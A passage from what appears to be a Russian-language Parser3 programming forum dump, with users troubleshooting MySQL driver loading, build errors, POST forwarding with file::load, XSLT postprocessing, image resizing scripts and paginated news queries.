A.clSlideSub2Links{font-family:Arial; font-size:14px; text-decoration:none; color:#FEE600}  \
\
A:link {color:#006600}\
A:visited {color:#006600}\
\
-->\
</style>\
\
^taint[as-is][^menu1[]]\
\
</head>\
\
\
@body[] \
\
...\
    \
^taint[as-is][^menu2[]\
[/code]\
\
[url=\"http://www.romanova-webdesign.narod.ru/index-barklys.htm\"]нужное нам меню, работающее[/url]\
\
[url=\"http://barklys.ru/newsite/\"]нужное нам меню, не работающее (под парсером, код выше)[/url]"
"48146","между этими строчками должна быть табуляция\
$sqldriversdir/libparser3mysql.so /usr/lib64/libmysqlclient.so\
если у вас пробел работать не будет"
"48147","Не радотает!!!!!"
"48150",": 'lib/libparser3mysql.so' driver failed to initialize client library '/usr/lib64/libmysqlclient.so.12.0.0', /usr/lib64/libmysqlclient.so.12.0.0: cannot open shared object file: No such file or directory [<no type>]"
"48152","${group}${subGroup}\
в моем случае\
${SHARED_FOLDER}${form:file_name}\
без этого треда - по документации так догадаться неудалось"
"48154","А у меня сайт подходит под эти критерии. В чем же дело:\
http://ppa.net.ru\
http://vector.edu.mhost.ru"
"48156","Непонял , можно по кокретнее\
\
...\
Вот что за ошибку парсер пишет\
lib/libparser3mysql.so\
driver failed to initialize client library '/usr/lib64/libmysqlclient.so.12.0.0', /usr/lib64/libmysqlclient.so.12.0.0: cannot open shared object file: No such file or directory\
/home/volgapro/public_html/lib//sql.p(76:2) \
--------------------------------------------------------------------------------\
connect /home/volgapro/public_html/lib//sql.p(76:2) \
server /home/volgapro/public_html/index.html(5:7) \
body_content /home/volgapro/public_html/auto.p(139:2)"
"48158","работающее не работает, а то, что под ПАРСЕР-ом работает, только менюшка подпрыгнула вверх под самый край.\
кстати в Firefox по первому линку жду страничку более пяти минут, это та которая должна работать\
\
с кодом ща покручу, самому интересно, отвечу чуть позже"
"48159","пробовал 15 14 и 20 все не работают"
"48160","имеет смысл стремиться к такому простому виду.\
\
некрасивость вида\
[code]${folder}$name[/code]\
появляется тогда, когда отходят от правила \"не класть хвостовой / в переменные с путями\"."
"48162","через поля формы передаются данные скрипту на моем сервере. В этом скрипте они обрабатываются и некоторые поля записываются в файл\
[code]\
$table[^table::create{${now.year}-${now.month}-$now.day ${now.hour}:${now.minute}:${now.second} $form:fields.name $form:fields.name1 $form:fields.year  $form:fields.phone $form:fields.email ^#0A}\
}]\
[/code]\
\
Теперь все поля формы надо передать другому скрипту, расположенному на чужом сервере и вывести страницу с результатом.\
\
То есть необходимо открыть окно браузера http://www.site.ru/script.cgi с переданными полями формы методом post\
\
пробую сделать\
\
[code]\
$f[^file::load[text;http://www.site.ru/script.php;\
	$.method[post]\
	$.timeout(10)] \
	$.form[\
		^form:fields.foreach[field;value]{$.$field[$value]}\
	]\
	]\
[/code]\
\
что дальше сделать не пойму"
"48163","к сожалению не могу попробовать в ИЕ т.к. работаю под Линукс, в Konqueror работает отлично ничего лишнего\
помоему ни каких роблем"
"48166","мыслите правильно."
"48167","Федора ))))"
"48168","в этой папке лежать \
libmysqlclient.a     libmysqlclient_r.a\
libmysqlclient.la    libmysqlclient_r.la"
"48171","И ещё нельзя \"просто\" сделать следующее:\
\
1) проверить наличие параметра (код) и если она пуста, то ^throw[]\
2) выполнить код внутри ^try{}{} и как-нибудь обработать ошибку"
"48172","работа скрипта видна, на экран выходит страница, но такая которая выходит при вызове скрипта без параметров, то есть поля формы до скрипта не доходят\
[code]\
$f[^file::load[text;http://www.site.ru/script.php;\
	$.method[POST]\
	$.timeout(10)] \
	$.form[\
		^form:fields.foreach[field;value]{^$.$field^[$value]}\
	]\
	]\
\
 $response:body[$f.text]\
[/code]"
"48173","так:\
[code]\
$f[^file::load[text;http://www.site.ru/script.php;\
	$.method[POST]\
	$.timeout(10)\
	$.form[^form:fields.foreach[field;value]{$.$field[$value]}]\
]\
$response:body[$f.text]\
[/code]\
\
или так:\
[code]\
$f[^file::load[text;http://www.site.ru/script.php;\
	$.method[POST]\
	$.timeout(10)\
	$.form[$form:fields]\
]\
$response:body[$f]\
[/code]"
"48175","Не могу понять. Дело в настройке Apache (может чего-то другого) или в Parser'е. Дело в том, что если у меня адрес использует порт, то переменная всё-равно выдаёт значение не учитывая порт.\
Пример:\
http://localhost:85/ определяет SERVER_NAME как localhost."
"48177","сделал как посоветовали\
[code]\
$f[^file::load[text;http://www.site.ru/script.php;\
	$.method[POST]\
	$.timeout(10)\
	$.form[^form:fields.foreach[field;value]{$.$field[$value]}]\
]\
]\
$response:body[$f.text]\
[/code]\
\
Все сработало, но в скрипте на другом сервере после приема полей формы, они обрабатываются и происходит переадресация на другую страницу того же сервера, а в данном случае страница ищется на моем сервере и так как ее нет происходит ошибка."
"48178","не знаю на сколько оно верно: попробуйте передать на сервер HTTP-заголовок Referer.\
[code]\
$f[^file::load[text;http://www.site.ru/script.php;\
	$.method[POST]\
	$.timeout(10)\
	$.form[$form:fields]\
#	подумайте над значением\
	$.headers[$.Referer[#####]]\
]]\
$response:body[$f]\
\
[/code]"
"48179","./configure --prefix=$HOME/parser3install --silent --with-static-gc=$HOME/parser3project/gc/lib\
configure: WARNING: enabling charset windows-1251\
configure: WARNING: no configuration information is in src/lib/ltdl\
\
И потом при make получаем множество ошибок:\
\
Making all in ltdl\
gcc -DHAVE_CONFIG_H -I. -I. -I../../../src/include      -g -O2 -c ltdl.c\
In file included from ltdl.c:28:\
config.h:2:26: config_auto.h: No such file or directory\
ltdl.c:165: error: `malloc' undeclared here (not in a function)\
\
и т.д.\
Система FreeBSD 5.3"
"48182","У меня работает...\
Проверьте пути и наличие в них нужных драйверов"
"48183","простенькая форма:\
\
[code]<form action=\"/users/\" method=\"post\" id=\"loginform\">\
  имя: \
  <input name=\"user\" type=\"text\" class=\"textarea\" id=\"user\">\
  пароль: \
  <input name=\"pass\" type=\"password\" class=\"textarea\" id=\"pass\">\
  <input name=\"submit\" type=\"submit\" value=\"Вход\">\
</form>[/code]\
\
Под Firefox, IE, Opera все нормально, а вот под консольным Lynx \
(http://www.pervalidus.net/cygwin/lynx/) данные формы не читаются (случайно обнаружил), т.е. $form:user и $form:pass не определены:\
\
[code]^form:fields.foreach[field;value]{ \
   $field - $value \
}[<br>][/code]\
\
^^^^^^^^^\
это не работает\
\
\
После замены целевого модуля на PHP модуль:\
\
[code]<?php\
if($_REQUEST)\
{\
	print_r($_REQUEST);\
}\
?>\
[/code]\
нормально читаются все поля формы, отправленной из этого броузера:\
\
[code]Array ( [user] => pupkin [pass] => pup [submit] => Вход )[/code]\
\
Должен отметить, что в HTTP-запросах, отправляемых броузером указано - HTTP 1.0\
В чем тут проблема? Или какой-то глюк броузера?"
"48184","Здесь нравиться :) Насчет пива - правда."
"48185","ranlib libgd.a\
Making all in smtp\
source='comms.C' object='comms.o' libtool=no  DEPDIR=.deps depmode=gcc /usr/local/bin/bash ../../../depcomp  g++ -DHAVE_CONFIG_H -I. -I. -I../../../src/include -I../gc/include -I../cord/include     -g -O2 -c -o comms.o comms.C\
source='smtp.C' object='smtp.o' libtool=no  DEPDIR=.deps depmode=gcc /usr/local/bin/bash ../../../depcomp  g++ -DHAVE_CONFIG_H -I. -I. -I../../../src/include -I../gc/include -I../cord/include     -g -O2 -c -o smtp.o smtp.C\
rm -f libsmtp.a\
ar cru libsmtp.a comms.o smtp.o\
ranlib libsmtp.a\
Making all in cord\
Making all in include\
Making all in private\
source='cordbscs.c' object='cordbscs.o' libtool=no  DEPDIR=.deps depmode=gcc /usr/local/bin/bash ../../../depcomp  gcc -DHAVE_CONFIG_H -I. -I. -I../../../src/include -I../gc/include -Iinclude     -g -O2 -c cordbscs.c\
source='cordprnt.c' object='cordprnt.o' libtool=no  DEPDIR=.deps depmode=gcc /usr/local/bin/bash ../../../depcomp  gcc -DHAVE_CONFIG_H -I. -I. -I../../../src/include -I../gc/include -Iinclude     -g -O2 -c cordprnt.c\
source='cordxtra.c' object='cordxtra.o' libtool=no  DEPDIR=.deps depmode=gcc /usr/local/bin/bash ../../../depcomp  gcc -DHAVE_CONFIG_H -I. -I. -I../../../src/include -I../gc/include -Iinclude     -g -O2 -c cordxtra.c\
rm -f libcord.a\
ar cru libcord.a cordbscs.o cordprnt.o  cordxtra.o\
ranlib libcord.a\
Making all in ltdl\
gcc -DHAVE_CONFIG_H -I. -I. -I../../../src/include      -g -O2 -c ltdl.c\
In file included from ltdl.c:28:\
config.h:2: config_auto.h: No such file or directory\
*** Error code 1\
\
Stop in /home/www/mysite/cgi-bin/parser3/parser-3.2.0/src/lib/ltdl.\
*** Error code 1\
\
Stop in /home/www/mysite/cgi-bin/parser3/parser-3.2.0/src/lib.\
*** Error code 1\
\
Stop in /home/www/mysite/cgi-bin/parser3/parser-3.2.0/src.\
*** Error code 1\
\
Stop in /home/www/mysite/cgi-bin/parser3/parser-3.2.0."
"48186","Скачал из примеров и уситановил как в инструкции. На скрипты установлено 755, путь к перлу указан верно. Бьюсь 2-ой день, получаю ошибку 3.\
\
Пробовал в images.p отключить удаление файла после загрузки временного. Временный файл записывается в папку big, но больше ничего не происходит."
"48187","А будет повод выпить пива -- выпьем."
"48188","а именно [url=\"http://www.parser.ru/forum/?id=21048\"]этот текст[/url]\
\
Проэкранировал ; -> ^;\
\
Тоже самое :(\
\
Может что-то ещё там надо экранировать?"
"48189","Лучше пользуйтесь nconvert'ом.\
Гораздо удобнее для простых вещей:\
http://www.parser.ru/forum/?id=43100\
\
Сейчас использую его больше чем на 10 сайтах, нигде проблем не было. А imagemagick некоторые изображения обрабатывать отказывался."
"48190","Подскажите пожалуйста, а по какому алгоритму работают генераторы бреда Lorem ipsum?\
И очень интересно как работает [url=\"http://vesna.yandex.ru\"]Весна.Yandex[/url]..\
Хотя бы в общих чертах, как обойтись меньшей кровью.. =)"
"48191","[code]\
^taint[as-is][^menu1[]]\
^taint[as-is][^menu2[]]\
\
==\
\
^menu1[]\
^menu2[]\
[/code]"
"48194","файлы .pl записаны в cgi-bin и на них установлены права 755\
файл images.p записан в /class/\
путь к перлу не менял #!/use/bin/perl (у меня такой же)\
в /auto.p указано\
[code]\
@USE\
/class/images.p\
[/code]\
создан файл /images.html для загрузки изображений. В нем код:\
[code]\
<form method=\"post\" enctype=\"multipart/form-data\" action=\"/images.html\"> \
   <input type=\"file\" name=\"pict\" size=50>\
   <br>\
   <input type=\"submit\" value=\"Загрузить\">\
</form>\
			\
^if(def $form:pict){		\
$source_path[/big/]\
$destination_path[/small/]\
$extension[^file:justext[$form:pict.name]]\
$image_name[54321.$extension]\
$format[jpg]\
^if(!^images:save[$form:pict;$source_path;$image_name;$format]){\
	^if(^extension.lower[] ne ^format.lower[]){\
		$image_name[${image_name}.$format]\
	}\
	$status[^images:resize[\
		$.source_path[$source_path]\
		$.destination_path[$destination_path]\
		$.image_name[$image_name]\
		$.x_size(100)\
		$.y_size(120)\
		$.quality[80]\
	]]\
	^if(!$status){\
		^rem{ *** Всё ок *** }\
	}{\
		^rem{ *** Возникла ошибка *** }\
		$status\
	}\
}			\
	\
			\
			\
			\
}			\
[/code]"
"48196","поставьте в начало кода \
\
[code]${env:DOCUMENT_ROOT}/big/[/code]\
\
Полученный путь совпадает с путём до картинки от корня диска?"
"48197","Или самому придется писать серверную часть ?)"
"48198","если убрать в images.p\
[code]			^file:delete[$destination_path/temp_$image_name]\
[/code] \
то временный файл записывается в папку /big/"
"48200","Вся орфография с вариантами замен на нём построена http://www.typograf.ru/\
\
В разделе \"изменения\" есть список браузеров в которых железно работает. Над работой в остальных тружусь."
"48201","вот простой пример:\
[code]\
$rep[^table::create{from to\
a	b\
b	v}]\
$str[a]\
^str.replace[$rep]\
[/code]\
Из строки [b]a[/b] хочу получить [b]v[/b], но получаю только [b]b[/b].\
Почему так?"
"48202","приветствуется конструктивная критика.\
как вы себе представляете эту самую возможность?\
\
нужно непротиворечивое обратно совместимое решение."
"48203","ошибка возникает не потому, что что-то там где-то ищется.\
Parser сам по переадресациям не ходит.\
в следующий раз приводите текст ошибки.\
в этот раз у вас вылезла ошибка: \"неправильный статус ответа (302)\".\
чтобы выразить желание получать не только успешные ответы, но ещё и редиректы, разрешите это явно\
[code]\
...\
   $.any-status(1)\
]]\
[/code]\
после чего обработайте \
[code]\
^if($f.status==302){\
#в этом поле будет то, куда направил вас удалённый сервер\
   $f.LOCATION\
}\
[/code]\
делайте потом с этим делом всё, что хотите."
"48204","У вас старый скрипт... в нём закрался баг.\
Скачайте [url=\"http://www.spearance.ru/parser3/pictures/archive/images.zip\"]новый[/url], там ошибка устранена.\
\
Раньше ошибка 3 возникала не в результате ресайза, а в результате сохранения файла со сменой формата файла. Если это ваш случай, обновляйтесь."
"48205","вот так быть не должно.\
в этом каталоге есть configure.in и всё остальное.\
перепроверьте.\
\
и ещё: этот запуск configure первый? или где-то сработал autoconf и перекомпилил файл configure во что-то нерабочее?\
(если так, с этим можно несложно побороться)"
"48206","Или это что-то свое, закрытое?"
"48207","всё просто:\
\
[code]\
@auto[]\
$response:content-type[\
	$.value[text/plain]\
	$.charset[windows-1251]\
]\
\
@main[]\
...\
# обрабатываем запрос из яваскрипта\
...\
# выдаём результат примерно в таком виде	\
Subsys_JsHttpRequest_Js.dataReady('id-сессии','текст',^{'элемент': 'массива'^})\
[/code]"
"48208","Извиняюсь - на выходных меня не было в сети и моя тема укатилась куда-то вниз. У меня просьба не посылать меня в поиск (был уже), а один раз помочь, чтобы я понял и больше не спрашивал.\
Просто сделайте два простых примера:\
\
По-умолчанию: \
1. В .htaccess стоит привязка файлов xml к парсеру.\
2. Есть xslt-файл стилей:\
[code]\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/TR/WD-xsl\">\
<xsl:template match=\"/\">\
<p><strong><xsl:value-of select=\"//title\"/></strong></p>\
<p><xsl:value-of select=\"//author\"/></p>\
</xsl:template>\
</xsl:stylesheet>\
[/code]\
Он один для всех примеров\
\
Теперь примеры:\
\
1. Сайт с использованием двух xml-файлов и парсера:\
index.xml - в нем есть форма для ввода имени. ее элементы:\
<INPUT type=\"text\" name=\"fio\"><INPUT type=\"submit\">\
Т.е. смысл этой страницы: ввести в поле имя и нажать на SUBMIT. Должен осуществиться переход на файл result.xml, где должно вывестись <H1>Hello, $form:fio</H1> (Вместо $form:fio - то, что ввели на прошлой странице).\
Все это должно работать ввиде XML, т.е. и index.xml и result.xml должны быть xml-файлами и где-то в каком-то месте программы преобразовываться с помощью xsl-файла.\
Необходимо:\
- сделать файл xsl\
- сделать файлы xml и auto.p и всё остальное, чтобы вся эта конструкция работала.\
\
Пример 2. Сделать то же самое, но с использованием одного xml-файла index.xml. Т.е. он сам принимает данные формы и в зависимости от того, введено что-то или нет выдает либо \"Helllo...\" либо форму ввода.\
\
Просьбьа разместить здесь полностью исходные коды всех полученных файлов, либо ссылку на архив, откуда можно скачать.\
\
Если я невнятно объяснил, приведу примеры в виде html:\
[b]файл index.html[/b]\
[code]\
<html>\
<head>\
	<title></title>\
</head>\
\
<body>\
<form action=\"result.html\">\
<input type=\"text\" name=\"fio\"> <input type=\"submit\">\
</form>\
</body>\
</html>\
[/code]\
\
[b]файл result.html[/b]\
\
[code]\
<html>\
<head>\
	<title></title>\
</head>\
\
<body>\
<h1>Hello, $form:fio</h1>\
\
</body>\
</html>\
[/code]\
\
Так это выглядит в html - просто и понятно.\
Теперь подскажите, пожалуйста, как все это дело преобразить в xml с использованием парсера.\
Пробовал @postprocess, но честно говоря не понял как работает."
"48209","Я бы сделал так:\
\
В предложении слова подчиняются определенному порядку. Можно взять за основу несколько таких предложений-скилетов и надевать на них глаголы, существительные, прилагательные и другие части речи."
"48210","Упс.\
xslt файл я зря привел в пример. Это не оттуда. Не обращайте внимания"
"48214","закомментируйте кусок с ресайзом...\
\
1. Если ошибка осталась - это не ресайз, а сохранение.\
2. Проверьте есть ли у вас ImageMagick вообще (не раз натыкался на кривые сборки).\
3. Проверьте есть ли convert.pl в cgi-bin и правильные ли у него права 755.\
\
Дальше общение лучше вести через почту или ICQ."
"48215","В вашем примере вы хотите из строки 'а' получить строку 'v'.\
Для этого Парсеру необходимо пройтись по таблице подстановок и сначало заменить 'а' на 'b', а потом 'b' заменить 'v'. Т.е. получается уже не просто замена, а замена замены.\
\
Но ведь метод replace призван (цитирую документацию):\
[quote]Эффективно заменяет подстроки в строке в соответствии с таблицей подстановок, работает существенно быстрее match.[/quote]\
\
Вернемся к вашему примеру. Если бы таблица замен выглядела примерно так:\
[code]\
a  b\
b  c\
c  d\
d  e\
e  f\
f  g\
g  h\
h  i\
i  j\
j  k\
k  l\
l  m\
m  n\
n  o\
o  p\
p  r\
r  s\
s  t\
t  u\
u  v\
[/code]\
\
Для того что бы 'а' заменилось на 'v' необходимо сделать дофига замен. Откуда взяться эффективности для конкурирования с методом match? Именно поэтому replace делает только одну замену."
"48216","Если нам нужно [b]v[/b], то мы должны явно выполнить replace дважды."
"48217","забавно, как же вам обоим это удалось.\
это место в configure не менялось с самого начала.."
"48219","Латинский язык тем и хорош для генераторов рыбы.\
У него довольно простое построение предложений, и даже если генерить слова из случайных слогов - это не будет бросаться в глаза.\
Для русского языка всё сложнее, т.к. созданная случайным образом пурга из слогов будет бросаться в глаза. \
Интересен алгоритм осмысленного (с точки зрения построения предложений конечно) генератора, для использования в качестве рыбы.\
Весна.Яндекс хорош всем, кроме злоупотребления длинными словами, а хотелось бы получать смесь из коротких и длинных слов..\
Ну это в идеале.. =)"
"48220","В общих чертах я так сейчас и поступаю. \
Наконец-то осознал насклько велик и могуч русский язык. =)\
Мне просто интересно, может кто-нибудь придумал решение поизящней.."
"48222","по моему просматриваются подстроки, начинающие с позиции указателя и ищутся совпадения с тем, что указано во from (первый столбец). при нахождении первого совпадения делается замена на содержимое to (второй столбец), и указатель передвигается в конец замененного фрагмента (или на следующий символ если совпадения найдено не было).\
\
а если бы replace работал как вы предположили, как бы можно было заменить разом 'a' на 'b' и 'b' на 'v'?"
"48223","[code]\
@postprocess[sXml]\
#тут что попробовали?\
[/code]"
"48224","replace не рекурсивен (и правильно)"
"48225","Все хорошо разжевано в книге \"Практика программирования\" Б. Керниган, Р. Пайк http://www.ozon.ru/context/detail/id/1927500/"
"48226","[code]\
@postprocess[body] \
$res[^xdoc::create[$body]]\
$html[^res.transform[/style.xsl]]\
^html.string[\
    $.method[html] \
] \
\
[/code]\
\
Если ставить в xml и xsl файлы тексты из урока 6, то:\
\
[code]create\
\
DOMException NAMESPACE_ERR (14).\
\
z:/home/test/www/auto.p(12:13)[/code]"
"48227","[url=\"http://www.parser.ru/docs/lang/xdoccreatexml.htm\"]http://www.parser.ru/docs/lang/xdoccreatexml.htm[/url]\
[url=\"http://www.parser.ru/docs/lang/xdoccreateempty.htm\"]http://www.parser.ru/docs/lang/xdoccreateempty.htm[/url]\
\
Найдите разницу ;)"
"48232","насчет\
[quote]2) выполнить код внутри ^try{}{} и как-нибудь обработать ошибку[/quote]\
у меня вот такой код:\
[code]\
@main[]\
^someMethod{^asdfg[]}\
\
@someMethod[param]\
^try{\
	$param\
 }{\
	$exception.handled(1)\
	handled\
}\
ok[/code]\
нормально вроде работает, выдает handled ok\
или тут что-то другое имелось в виду?"
"48233","гхм.\
поставил {}:\
[code]@postprocess[body] \
$res[^xdoc::create{$body}]\
$html[^res.transform[/style.xsl]]\
^html.string[\
    $.method[html] \
] \
[/code]\
\
Теперь выдает следующие ошибки:\
[code]create\
\
Entity: line 1: parser error : Space required after the Public Identifier\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
                                                              ^\
Entity: line 1: parser error : SystemLiteral \" or ' expected\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
                                                              ^\
Entity: line 1: parser error : SYSTEM or PUBLIC, the URI is missing\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
                                                              ^\
Entity: line 10: parser error : Input is not proper UTF-8, indicate encoding !\
Bytes: 0xD3 0xF0 0xEE 0xEA\
<title>Урок 6. Работаем с XML</title>\
       ^\
Entity: line 11: parser error : Opening and ending tag mismatch: meta line 9 and head\
</head>\
       ^\
Entity: line 23: parser error : Opening and ending tag mismatch: head line 8 and html\
</html>\
       ^\
Entity: line 24: parser error : Opening and ending tag mismatch: html line 7 \
\
z:/home/test/www/auto.p(12:13)[/code]\
\
Я уже совсем потерялся. Может ошибка в том, что броузер воспринимает этот документ как xml, а там получается html?"
"48234","Список файлов в src/lib/ltdl:\
readme\
makefile.am\
ltdl.c\
config.h\
ltdl.h\
config_auto.h\
makefile.in\
copying.lib\
ltdl.vcproj\
\
Я распаковываю архив и запускаю \
./configure --prefix=$HOME/parser3install --silent --with-static-gc=$HOME/parser3project/gc/lib"
"48235","полагается писать.\
если так не пишете, то XML считается в кодировке UTF-8.\
\
в примере в уроке 6 эта строчка была."
"48236","файлы все на месте есть.\
ещё раз, команда получилась:\
[code]\
Making all in ltdl\
gcc -DHAVE_CONFIG_H -I. -I. -I../../../src/include -g -O2 -c ltdl.c\
In file included from ltdl.c:28:\
config.h:2:26: config_auto.h: No such file or directory\
[/code]\
директива -I. означает \"искать #include файлы и в текущем каталоге тоже.\
вы видите каталог:\
[code]\
Список файлов в src/lib/ltdl:\
...\
config.h\
config_auto.h\
...\
[/code]\
(забавно, что среди файлов в каталоге вы не указали config_auto.h.in, который там обязательно есть)\
\
всё это означает, что файл найтись должен.\
\
вижу мелочь: в команде получилось\
[quote]-I. -I.[/quote]\
видите? два раза.\
это нормально, однако можно попробовать запустить эту команду вручную, оставив только один -I.\
\
почему вдруг файл config_auto.h, который в каталоге есть, на который стоит правильный -I. на вашей системе не подключается, рассказать я вам не могу."
"48237","Ошибку уже успел исправить. Не понял, правда, как. Просто заменил текст: \
[code]\
$res[^xdoc::create{$body}]\
$html[^res.transform[/style.xsl]]\
^html.string[\
    $.method[html] \
] [/code]\
\
на\
[code]\
$sourceDoc[^xdoc::create{$body}]\
$transformedDoc[^sourceDoc.transform[/style.xsl]] \
^transformedDoc.string[\
    $.method[html] \
]\
[/code]\
\
Что изменилось, так и не понял, но то, что заработало - факт."
"48240","написал простейший скроллер для новостей\
когда жмешь на кнопку редактировать то вылазит \
ошибка:\
редактировать\
 (double)\
может кто знает как исправить?\
вот код:\
[code]\
@sqroller_news_redac[]\
^connect[$connect_bd]{\
$chislo[^int:sql{select count(*) from news}]\
$chislo[^eval($chislo/5)]\
$chislo[^math:ceiling($chislo)]\
^form:fields.foreach[field;value]{}\
^if(def $value){$news[^table::sql{select id, date, zagolovok, sama_novost from news order by id desc}[$.limit(5) $.offset(^eval($value*5-5))]]\
}{$news[^table::sql{select id, date, zagolovok, sama_novost from news order by id desc}[$.limit(5)]]}\
^news.menu{<p class=\"novosti\">$news.date <span>$news.zagolovok</span></p><p class=\"novosti\">$news.sama_novost</p>\
<form method=\"post\">\
<input type=\"hidden\" name=\"news\" value=\"$news.id\">\
<input type=\"submit\" name=\"redac\" value=\"редактировать\">\
#<textarea cols=\"50\" rows=\"5\">$news.sama_novost</textarea>\
</form>}\
^if((def $form:redac) && (def $form:news)){$news[^table::sql{select id, date, zagolovok, sama_novost from news where id=$form:news}] $response:location[http://pilotpress.ru/admin/redac_news/?id_news=$news.id] }\
\
<p>^for[ssylki](1;$chislo){^if(($ssylki == $value) || ($ssylki == 1 && !def $value)){<span class=\"bold\">$ssylki</span>\
}{<span><a href=\"http://pilotpress.ru/admin/?page=$ssylki\">$ssylki</a></span>}}[]</p>\
\
}\
[/code]"
"48241","Наверняка тема поднималась, но я не нашел.\
Откопал тут один старинный сайт который я делал, там в mysql есть длинные html-документы. Из них берутся первые 1000 символов и выводятся как анонс со ссылкой подробнее.\
Естественно через раз остаются открытыми теги типа a, b, i и т.д. портящие всю страницу после себя.\
Как тут можно поступить?"
"48242","^stranica.match[<.*?>][g]{}"
"48243","для строк используй ($str eq \"sdsd\")\
версия 2.0 однако. сам накололся."
"48244","вроде все работает\
[code] ^if($field eq \"page\"){$news[^table::sql{select id, date, zagolovok, sama_novost from news order by id desc}[$.limit(5) $.offset(^eval($value*5-5))]] [/code]\
но интересно почему нельзя использовать вот так:\
[code]  ^if(def $value){$news[^table::sql{select id, date, zagolovok, sama_novost from news order by id desc}[$.limit(5) $.offset(^eval($value*5-5))]] [/code]"
"48245","[code]\
@sqroller_news_redac[]\
^connect[$connect_bd]{\
\
	$total(^int:sql{\
		SELECT\
			COUNT(*)\
		FROM\
			news}\
	)\
	$news_per_page(5)\
\
	^use[scroller.p]\
	$pages[^scroller::init[$total;$news_per_page]]\
\
	$news[^table::sql{\
		SELECT\
			id,\
			date,\
			zagolovok,\
			sama_novost\
		FROM\
			news\
		ORDER BY\
			date DESC\
	}[\
		$.limit($pages.limit)\
		$.offset($pages.offset)\
	]]\
\
	^news.menu{\
		<p class=\"novosti\">$news.date <span>$news.zagolovok</span></p>\
		<p class=\"novosti\">$news.sama_novost</p>\
		...\
	}\
\
	^pages.print[\
		$.mode[html]\
		$.tag_name[p]\
		$.target_url[http://pilotpress.ru/admin/]\
	]\
\
}\
[/code]"
"48246","в чём смысл-то?"
"48247","В данном случае ^taint[as-is][...] не нужен."
"48248","[url=\"http://www.alson.inter-line.ru/\"]http://www.alson.inter-line.ru[/url]\
\
форма обратной связи..\
не получается с первого раза отправить сообщение..\
со второго, третьего.. отправляет.\
\
проверка реализованна средствами БД\
[url=\"http://www.parser.ru/forum/?id=27823\"]http://www.parser.ru/forum/?id=27823[/url]\
\
в чем дело?\
спасибо."
"48249","вопрос снят.\
понял."
"48250","Создать\
AListApart\
Suckerfish DropDowns\
Переведен на русский на Webmascon'е"
"48251","С ним не получается :(\
У вас версия 3.26 или старая, без XML?"
"48253","я дело в том что месяца три всего занимаюсь парсером..\
сам многое методом тыка отлаживаю..\
\
не исключено что это была просто моя глупость.\
\
старый auto.p(feedback)\
[code]#--------------------------------------------\
@auto[]\
$SQL.connect-string[mysql://****:****@localhost/****]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]]\
\
...[/code]\
\
новый auto.p(feedback)\
[code]#--------------------------------------------\
@auto[]\
$connect_string[mysql://****:****@localhost/****]\
\
#--------------------------------------------\
@dbconnect[code]\
^connect[$connect_string]{$code}[/code]\
\
теперь все работает отлично и с первого раза.\
буду благодарен если Вы найдете время изложить в двух словах причину.\
спасибо."
"48254","ну нету у меня никаких parent, а во всех методах типа getAcl везде их надо...\
блин такая простая задача - третий день получаю ошибки...\
как чего куда надо правильно писать?\
\
[code]\
@atm_init[atm_id]\
\
^rem{ *** достаем данные о текущем объекте *** }\
	$current_object[\
	  $.id[$atm_id]\
	  $.parent_id[$atm_id]\
	  $.irf[0]\
	]\
\
^rem{ *** достаем данные о текущем треде *** }\
	$thread[$current_object]\
\
^rem{ *** $auth - объект класса auth *** }\
^rem{ *** достаем назначения прав текущему пользователю на все объекты треда *** }\
	$acl[^auth.getFullACL[$thread]]\
\
^rem{ *** определяем права авторизированного пользователя на объект *** }\
	$right(^auth.getRightsToObject[$current_object;$thread;$acl])\
\
[/code]\
\
ошибка получается в SQL запросе, который я не могу понять как формируется... вернее, как формируется я понимаю, но не понимаю, как мне надо все это вызывать...\
[code]\
SELECT acl.object_id, acl.rights, auser.auser_id, auser.name, auser.description, auser.auser_type_id, auser.rights AS user_rights FROM acl, auser WHERE acl.auser_id = auser.auser_id AND acl.object_id IN () AND acl.auser_id IN (1,2,3) ORDER BY auser.name\
[/code]"
"48255","В первом случае вы создавали объект pSQL, через который происходят все обращения к базе, а во-втором — просто подключались к базе данных и все.\
\
Использовать первый подход удобнее, я думаю вы уже прочли пример [url=\"http://www.parser.ru/examples/comp/\"]о переносимости SQL запросов[/url]... Код с использованием первого подхода, идентичный второму:\
\
[code]\
@auto[]\
# Лучше определять строку подключения к базе в конфигурационном auto.p\
# (обычно он находится рядом с parser.cgi)\
$SQL.connect-string[mysql://****:****@localhost/****]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]]\
# end @auto[]\
\
@main[]\
^pSQL.server{\
	^pSQL.void{\
		INSERT INTO\
			...\
		VALUES\
			...\
	}\
	$data[^pSQL.table{\
		SELECT\
			...\
		FROM\
			...\
		WHERE\
			...\
	}]\
}\
# end @main[]\
[/code]\
\
и так далее... :)"
"48256","[quote]ошибка получается в SQL запросе[/quote]\
Какая ошибка?\
\
P.S. Используя числа, заключайте их в круглые скобки:\
[code]\
$current_object[\
	$.id($atm_id)\
	$.parent_id($atm_id)\
	$.irf(0)\
]\
[/code]"
"48257","[code]\
You have an error in your SQL syntax.  Check the manual that corresponds to your MySQL server version for the right syntax to use near ')\
\
\
AND acl.auser_id IN (1,2,3)\
\
ORDER BY\
auser.nam\
[/code]\
я так понимаю, что не должно быть пусто при AND acl.object_id IN (), а вот как сделать, чтобы туда попало просто $atm_id не соображу..."
"48258","[code]\
^MAIN:pSQL.table{\
	SELECT\
		acl.object_id,\
		acl.rights,\
		auser.auser_id,\
		auser.name,\
		auser.description,\
		auser.auser_type_id,\
		auser.rights AS user_rights\
	FROM\
		acl,\
		auser\
	WHERE\
		acl.auser_id = auser.auser_id\
		[b]AND acl.object_id IN ()[/b]\
		AND acl.auser_id IN (1,2,3)\
	ORDER BY\
		auser.name\
}\
[/code]"
"48259","пожалуйста, поясните:\
было:\
код, работал\
стало:\
код, работать перестал\
\
я разберусь и сделаю, чтобы вновь стало совместимо, если это возможно."
"48260","в поставке библиотечки есть простая программка tidy.exe [на unix просто 'tidy']\
\
ей можно скормить кривой код, она его подровняет: закроет теги и ещё ряд полезных действий сделает. куча опций. open source.\
\
\
однако: это будет не анонс, а кусочек мусора.\
\
правильно: делать отдельный анонс, редактора просить выложить туда основную мысль коротко.\
\
